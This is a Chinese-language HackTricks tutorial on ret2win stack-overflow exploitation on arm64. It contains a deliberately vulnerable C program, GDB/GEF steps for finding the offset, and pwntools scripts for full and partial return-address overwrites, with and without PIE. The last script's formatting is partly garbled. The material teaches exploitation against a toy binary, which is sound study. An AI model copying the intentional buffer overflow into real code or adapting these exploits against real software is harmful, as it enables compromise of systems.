Ret2win - arm64

Ret2win - arm64

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

在以下位置找到arm64的介绍:

pageIntroduction to ARM64v8

代码

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

编译时禁用 PIE 和 Canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

寻找偏移量

模式选项

这个示例是使用GEF创建的:

使用GEF启动gdb,创建模式并使用它:

gdb -q ./ret2win
pattern create 200
run

arm64 将尝试返回到寄存器 x30 中的地址(已被攻破),我们可以利用这一点来找到模式偏移量:

pattern search $x30

偏移量为72 (9x48).

栈偏移选项

从获取存储pc寄存器的栈地址开始:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

现在在read()之后设置一个断点,然后继续执行直到read()被执行,并设置一个模式,如13371337:

b *vulnerable_function+28
c

找到存储此模式的内存位置:

然后:0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

无PIE

常规

获取**win**函数的地址:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

利用:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

实际上,这更像是在堆栈中存储的PC上的 off-by-2。我们不是覆盖所有的返回地址,而是仅使用 0x06c4 覆盖最后2个字节

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/中,您可以找到ARM64中的另一个一位偏移示例,这是一个虚构漏洞中的真实一位偏移。

使用PIE

编译二进制文件时不要使用 -no-pie 参数

二位偏移

没有泄漏,我们不知道获胜函数的确切地址,但我们可以知道函数与二进制文件的偏移,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到获胜函数的偏移(0x7d4),在这种情况下只需使用该偏移量:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>

其他支持HackTricks的方式:

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

最后更新于